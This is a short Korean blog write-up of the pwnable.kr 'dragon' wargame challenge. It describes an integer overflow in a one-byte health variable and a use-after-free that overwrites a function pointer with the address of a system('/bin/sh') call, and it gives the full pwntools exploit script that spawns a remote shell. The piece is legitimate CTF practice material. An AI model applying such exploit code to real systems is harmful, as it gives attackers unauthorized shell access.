pwnable.kr문제 중 쉬운 편에 속했다. 다만 ida에서 구조체를 다루는데 익숙하지 않아서 푸는데 3시간 정도 걸렸다. 문제의 취약점은 총 2가지이다. 1) integer overflow 2) uaf 드래곤의 체력이 1byte형 변수에 담겨있어서 127이상이 되면 음수가 되어 드래곤을 잡을 수 있다. 그 후 uaf 취약점을 이용하여 함수 포인터를 SelectLevel 에 있는 system("/bin/sh"); 의 주소로 변경하면 익스가 된다.
12345678910111213141516171819202122232425262728293031323334353637383940414243 from pwn import *r=remote("pwnable.kr",9004)print r.recvuntil("Knight")r.sendline("2")print r.recvuntil("20 HP.")r.sendline("2")r.sendline("1")r.sendline("3")r.sendline("3")r.sendline("2")r.sendline("3")r.sendline("3")r.sendline("2")r.sendline("3")r.sendline("3")r.sendline("2")r.sendline("3")r.sendline("3")r.sendline("2")print r.recvuntil("As:")r.sendline(p32(0x08048DBF))r.interactive()cs
'워게임 > pwnable.kr' 카테고리의 다른 글
pwnable.kr simple login (0) | 2017.05.10 |
---|